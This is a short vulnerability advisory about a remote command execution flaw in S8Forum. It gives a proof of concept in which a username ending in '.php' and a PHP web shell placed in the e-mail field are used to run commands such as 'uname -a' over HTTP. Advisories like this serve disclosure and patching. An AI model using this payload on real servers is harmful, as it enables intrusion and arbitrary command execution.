source: https://www.securityfocus.com/bid/6547/info
S8Forum is prone to a remote command execution vulnerability.
When a user registers with the forum, a file is created locally with the specified username. The contents of this file will be the data entered by the user. As a result, a malicious user could create a file with an arbitrary name and PHP (.php) extension that contains valid PHP code. The attacker may then cause this file to be executed by requesting it via HTTP.
- go to Register
- insert in Username:
any_name.php
- in password : any_pasword.
- in E-Mail:
<? system($cmd); ?>
Then request the following page:
http://www.example.com/s8forumfolder/users/any_name.php?cmd=uname%20-a
